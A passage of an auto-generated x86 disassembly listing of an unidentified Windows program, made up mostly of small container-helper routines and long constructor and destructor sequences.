eax test edi, edi jnz short loc_4160D5 mov edi, esi loc_4160D5: ; CODE XREF: ___:004160D1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_4160EA mov edi, esi loc_4160EA: ; CODE XREF: ___:004160E6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416110 proc near ; CODE XREF: sub_401E33j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416110 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416150 proc near ; CODE XREF: sub_402144j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416150 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416170 proc near ; CODE XREF: sub_401E97j mov eax, ecx retn sub_416170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416190 proc near ; CODE XREF: sub_401CDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018C5 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4161C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161F0 proc near ; CODE XREF: sub_401EC4j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4161F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416220 proc near ; CODE XREF: sub_401D11j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017DF mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DB6 sub_416220 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017DF push edi mov [eax], ebx call sub_4017DF mov edi, [eax] push edi call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017E4 add esp, 4 mov ecx, esi push eax call sub_401E15 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D7A mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4162C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EBF mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BCC push esi mov ebx, eax call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [ebx] push esi mov [eax], edx call sub_4017DF push esi mov ebx, eax call sub_401BCC mov eax, [eax] push eax call sub_4017DF mov ecx, [ebx] push esi mov [eax], ecx call sub_4017E4 add esp, 1Ch mov ecx, edi push eax call sub_401401 push esi mov ecx, edi call sub_401F14 sub_4162C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_40140Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4163DA loc_416398: ; CODE XREF: sub_416380+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EBF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416398 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_416380+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416380 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416410 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401EBA sub_416410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416425 mov edi, esi loc_416425: ; CODE XREF: ___:00416421j push esi call sub_401BCC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41643A mov edi, esi loc_41643A: ; CODE XREF: ___:00416436j push esi call sub_4017DF add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416460 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401866 sub_416460 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416480 proc near ; CODE XREF: sub_401BCCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416480 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164A0 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4164A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164C0 proc near ; CODE XREF: sub_401E42j mov eax, ecx retn sub_4164C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_401D7Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401618 mov eax, esi pop esi retn 4 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416510 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416540 proc near ; CODE XREF: sub_401456j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416590 proc near ; CODE XREF: sub_4020F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4165C0 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4165C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165E0 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4165E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416610 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416610 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416630 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416630 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416650 proc near ; CODE XREF: sub_401A5Fj mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_416650 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416670 proc near ; CODE XREF: sub_40210Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166A0 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E74 neg al sbb eax, eax inc eax retn 4 sub_4166A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401C62j mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_4015F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40205E add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_401D61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_401F8Cj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_4017DFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4167F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416810 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416810 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416840 proc near ; CODE XREF: sub_401866j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416840 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416860 proc near ; CODE XREF: sub_401E15j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020EA add esp, 8 retn 8 sub_416860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416890 proc near ; CODE XREF: sub_401401j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168B0 proc near ; CODE XREF: sub_401618j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4168B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4168D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168F0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4168F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416920 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41693B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41693B: ; CODE XREF: sub_416920+11j retn sub_416920 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416970 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41698B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41698B: ; CODE XREF: sub_416970+11j retn sub_416970 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4169C0 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4169DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4169DB: ; CODE XREF: sub_4169C0+11j retn sub_4169C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░ллллллллллллллллХ',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449128B9h dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh) dd 449128B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416A90: ; CODE XREF: ___:00401C58j push 0FFFFFFFFh push offset loc_43B2E1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021FD ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401F00 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_401776 lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_402013 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401E06 lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_401889 lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F46 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B3B lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017DA lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018D9 lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401ECE lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402239 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017AD lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A32 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C5 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401EA1 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014FB lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AFA ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401CA3 ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401938 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_401447 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D00 proc near ; CODE XREF: sub_401A32j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43F050 test eax, eax jle short loc_416D17 push eax nop call near ptr 71AB9639h loc_416D17: ; CODE XREF: sub_416D00+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A32 test [esp+4+arg_0], 1 jz short loc_416D48 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416D48: ; CODE XREF: sub_416D30+Dj mov eax, esi pop esi retn 4 sub_416D30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D60 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43F05C test eax, eax jle short loc_416D77 push eax nop call near ptr 71AB9639h loc_416D77: ; CODE XREF: sub_416D60+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D90: ; CODE XREF: ___:00401631j ; ___:loc_401CADj push esi mov esi, ecx call sub_4017AD test byte ptr [esp+8], 1 jz short loc_416DA8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DA8: ; CODE XREF: ___:00416D9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416DC0 proc near ; CODE XREF: sub_401776j mov dword ptr [ecx], offset off_43F068 jmp sub_40204F sub_416DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416DE0: ; CODE XREF: ___:loc_401929j ; ___:004021ADj push esi mov esi, ecx call sub_401776 test byte ptr [esp+8], 1 jz short loc_416DF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DF8: ; CODE XREF: ___:00416DEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_401889j mov dword ptr [ecx], offset off_43F074 add ecx, 4 jmp sub_401023 sub_416E10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416E30: ; CODE XREF: ___:00401E60j push 0FFFFFFFFh push offset loc_43B4C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_4020BD ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015E6 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_402018 ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401A00 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_401587 lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_40164F lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401780 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_40169F lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_40182F lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016BD lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_40141F lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D25 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A91 lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CB7 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402121 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_40157D lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_401799 lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_40142E lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_40142E lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_40142E lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_40142E lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401B0E ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4170B0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4170B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B1D sub_4170B0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417120 proc near ; CODE XREF: sub_401938j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40208B lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40208B lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40208B lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40208B lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40208B mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AE6 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AE6 lea ecx, [esi+0A96h] mov byte ptr 